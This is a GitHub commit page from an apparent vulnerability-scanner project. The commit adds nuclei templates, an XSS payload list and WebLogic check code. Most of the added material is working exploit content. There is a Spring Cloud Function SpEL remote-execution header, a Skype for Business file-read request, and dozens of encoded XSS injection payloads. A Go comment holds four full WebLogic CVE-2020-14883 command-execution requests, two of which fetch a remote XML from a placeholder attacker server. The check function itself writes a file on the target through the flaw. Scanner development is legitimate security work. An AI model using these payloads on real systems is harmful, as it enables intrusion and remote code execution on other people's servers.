Skip to content

Commit 8a651a1

Browse files
hktalenthktalent
committed
add CVE-2022-26911.yaml 2022-11-10
1 parent 1d71a98 commit 8a651a1

File tree

10 files changed

+324
-2
lines changed

10 files changed

+324
-2
lines changed

‎.github/workflows/build.yml‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,8 @@ jobs:
4343
fetch-depth: 0
4444
- name: Checkout submodules
4545
run: git submodule update --init --recursive
46+
- name: Install cross-compiler for linux/arm64
47+
run: sudo apt-get -y install gcc-aarch64-linux-gnu
4648
- name: Set up Go
4749
uses: actions/setup-go@v2
4850
with:

‎config/51pwn/CVE-2022-22963.yaml‎

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
id: CVE-2022-22963_51pwn
2+
3+
info:
4+
name: spring cloud exp
5+
author: Nicolas Krassas
6+
severity: critical
7+
description: RCE on Spring cloud function SPEL
8+
reference: https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/
9+
tags: web,spring
10+
11+
requests:
12+
- raw:
13+
- |-
14+
POST /functionRouter HTTP/1.1
15+
Host: {{Hostname}}
16+
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
17+
Accept-Encoding: gzip, deflate
18+
Accept: */*
19+
Connection: close
20+
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("whoami")
21+
Accept-Language: en
22+
Content-Type: application/x-www-form-urlencoded
23+
Content-Length: 4
24+
test
25+
matchers-condition: and
26+
matchers:
27+
- type: word
28+
part: body
29+
words:
30+
- 'functionRouter'
31+
- type: status
32+
status:
33+
- 500

‎config/51pwn/CVE-2022-26911.yaml‎

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
id: CVE-2022-26911_51pwn
2+
info:
3+
name: Arbitrary File Read on Skype For Business Server
4+
author:
5+
- 51pwn
6+
description: |-
7+
Arbitrary File Read on Skype For Business Server
8+
requests:
9+
- raw:
10+
- |
11+
GET /RgsConfig/PlayWave.ashx?file=c:/wisdons/win.ini HTTP/1.1
12+
Host: {{Hostname}}
13+
matchers:
14+
- type: status
15+
status:
16+
- 200
17+
- type: word
18+
condition: and
19+
part: body
20+
words:
21+
- '[extensions]'
22+
matchers-condition: and
23+
redirects: false
24+

‎config/config.json‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -105,6 +105,7 @@
105105
"MaxRedirects": 3
106106
},
107107
"enableEsSv": true,
108+
"enableJaeles": false,
108109
"CheckWeakPassword": true,
109110
"jaelesThread": 8,
110111
"esthread": 8,

‎config/xss/payload.json‎

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
// Refereces:
2+
// https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/XSS%20injection
3+
// https://github.com/s0md3v/AwesomeXSS
4+
5+
//"{{this+{0}+this}}",
6+
//"{this+{0}+this}",
7+
//"this+{0}+this"
8+
//" => \x22 \42 %22
9+
//' => \x27 \47 %27
10+
//< => \x3c \74 %3c
11+
//> => \x3e \76 %3e
12+
13+
[
14+
';window.___xssSink({0});',
15+
'javascript:window.___xssSink({0})',
16+
'java%0ascript:window.___xssSink({0})',
17+
'data:text/javascript;,window.___xssSink({0})',
18+
19+
'<iMg src=a oNerrOr=window.___xssSink({0})>',
20+
'\\x3ciMg src=a oNerrOr=window.___xssSink({0})\\x3e',
21+
'\\74iMg src=a oNerrOr=window.___xssSink({0})\\76',
22+
23+
"'><iMg src=a oNerrOr=window.___xssSink({0})>",
24+
"\\x27\\x3E\\x3Cimg src=a oNerrOr=window.___xssSink({0})\\x3E",
25+
"\\47\\76\\74img src=a oNerrOr=window.___xssSink({0})\\76",
26+
27+
'"><iMg src=a oNerrOr=window.___xssSink({0})>',
28+
'\\x22\\x3e\\x3cimg src=a oNerrOr=window.___xssSink({0})\\x3e',
29+
'\\42\\76\\74img src=a oNerrOr=window.___xssSink({0})\\76',
30+
31+
"'><iMg src=a oNerrOr=window.___xssSink({0})>",
32+
'\\x27\\x3e\\x3cimg src=a oNerrOr=window.___xssSink({0})\\x3e',
33+
'\\47\\76\\74img src=a oNerrOr=window.___xssSink({0})\\76',
34+
35+
'1 --><iMg src=a oNerrOr=window.___xssSink({0})>',
36+
'1 --\\x3e\\x3ciMg src=a oNerrOr=window.___xssSink({0})\\x3e',
37+
'1 --\\76\\74iMg src=a oNerrOr=window.___xssSink({0})\\76',
38+
39+
']]><iMg src=a oNerrOr=window.___xssSink({0})>',
40+
']]\\x3e\\x3ciMg src=a oNerrOr=window.___xssSink({0})\\x3e',
41+
']]\\76\\74iMg src=a oNerrOr=window.___xssSink({0})\\76',
42+
43+
' oNpasTe=window.___xssSink({0}) ',
44+
45+
'" oNpasTe=window.___xssSink({0}) a="',
46+
'\\x22 oNpasTe=window.___xssSink({0}) a=\\x22',
47+
'\\42 oNpasTe=window.___xssSink({0}) a=\\42',
48+
49+
"' oNpasTe=window.___xssSink({0}) a='",
50+
"\\x27 oNpasTe=window.___xssSink({0}) a=\\x27",
51+
"\\47 oNpasTe=window.___xssSink({0}) a=\\47",
52+
53+
// Bypass using javascript inside a string
54+
"</scrIpt><scrIpt>window.___xssSink({0})</scrIpt>",
55+
"\\x3c/scrIpt\\x3e\\x3cscript\\x3ewindow.___xssSink({0})\\x3c/scrIpt\\x3e",
56+
"\\74/scrIpt\\76\\74script\\76window.___xssSink({0})\\74/scrIpt\\76",
57+
58+
]

‎new.txt‎

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
1-
1、integrated jaeles，add new web PoCs 370，By default, nuclei is turned on and jaeles scanning is turned on
1+
https://github.com/psiinon/open-source-web-scanners
2+
3+
1、add new web PoCs 370
24
CRLF
35
Dom-xss
46
ErrorsAndVulns

‎open-source-web-scanners.md‎

Lines changed: 111 additions & 0 deletions
Large diffs are not rendered by default.

‎pocs_go/weblogic/CVE-2022_21371.go‎

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
package weblogic
2+
3+
// Shodan: product:"Oracle WebLogic"
4+
// Oracle-WebLogic-CVE-2022-21371
5+
// GET .//WEB-INF/web.xml
6+
// GET .//WEB-INF/portlet.xml
7+
// GET .//WEB-INF/weblogic.xml
8+
//GET .//META-INF/MANIFEST.MF
9+
//GET .//WEB-INF/web.xml
10+
//GET .//WEB-INF/portlet.xml
11+
//GET .//WEB-INF/weblogic.xml
12+
func DoCheck21371() {
13+
14+
}

‎pocs_go/weblogic/CVE_2020_14883.go‎

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,81 @@ import (
44
"github.com/hktalent/ProScan4all/lib/util"
55
)
66

7+
/*
8+
Proof of Concept (PoC) 1: using tangosol.coherence.mvel2.sh.ShellSession() for Windows-based targets
9+
10+
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
11+
Host: vulnerablehost:7001
12+
Upgrade-Insecure-Requests: 1
13+
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
14+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9
15+
Accept-Encoding: gzip, deflate
16+
Accept-Language: zh-CN,zh;q=0.9
17+
Connection: close
18+
Content-Type: application/x-www-form-urlencoded
19+
Content-Length: 117
20+
21+
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('calc.exe');");
22+
Proof of Concept (PoC) 2: using tangosol.coherence.mvel2.sh.ShellSession() for Linux-based targets
23+
24+
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
25+
Host: vulnerablehost:7001
26+
Upgrade-Insecure-Requests: 1
27+
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
28+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9
29+
Accept-Encoding: gzip, deflate
30+
Accept-Language: zh-CN,zh;q=0.9
31+
Connection: close
32+
Content-Type: application/x-www-form-urlencoded
33+
Content-Length: 117
34+
35+
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/CVE-2020-14883.txt');")
36+
Proof of Concept (PoC) 3: using com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext for Windows-based targets
37+
38+
Content of poc.xml file
39+
40+
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
41+
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
42+
<constructor-arg>
43+
<list>
44+
<value>cmd</value>
45+
<value>/c</value>
46+
<value>
47+
<![CDATA[calc]]>
48+
</value>
49+
</list>
50+
</constructor-arg>
51+
</bean>
52+
</beans>
53+
54+
55+
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
56+
Host: vulnerablehost:7001
57+
Upgrade-Insecure-Requests: 1
58+
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
59+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9
60+
Accept-Encoding: gzip, deflate
61+
Accept-Language: zh-CN,zh;q=0.9
62+
Connection: close
63+
Content-Type: application/x-www-form-urlencoded
64+
Content-Length: 117
65+
66+
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://yourserver:7575/poc.xml")
67+
Proof of Concept (PoC) 4: using com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext for Windows-based targets
68+
69+
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
70+
Host: vulnerablehost:7001
71+
Upgrade-Insecure-Requests: 1
72+
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
73+
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng;q=0.8,application/signed-exchange;v=b3;q=0.9
74+
Accept-Encoding: gzip, deflate
75+
Accept-Language: zh-CN,zh;q=0.9
76+
Connection: close
77+
Content-Type: application/x-www-form-urlencoded
78+
Content-Length: 117
79+
80+
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://yourserver:7575/poc.xml")
81+
*/
782
func CVE_2020_14883(url string) bool {
883
if _, err := util.HttpRequset(url+"/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/css/testnmanp.txt%27);%22)", "GET", "", false, nil); err == nil {
984
if req2, err2 := util.HttpRequset(url+"/console/framework/skins/wlsconsole/css/testnmanp.txt", "GET", "", false, nil); err2 == nil {

‎projectdiscovery/nuclei_Yaml/nuclei_yaml.go‎

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -146,7 +146,9 @@ func RunNuclei(buf *bytes.Buffer, xx chan bool, oOpts *map[string]interface{}, o
146146

147147
// 启动web扫描
148148
util.Wg.Add(1)
149-
go jaeles.RunScan(a66, "")
149+
if util.GetValAsBool("enableJaeles") {
150+
go jaeles.RunScan(a66, "")
151+
}
150152

151153
options.Targets = *x55
152154
log.Printf("nuclei options.Targets = %+v\n", options.Targets)

0 commit comments

Comments
 (0)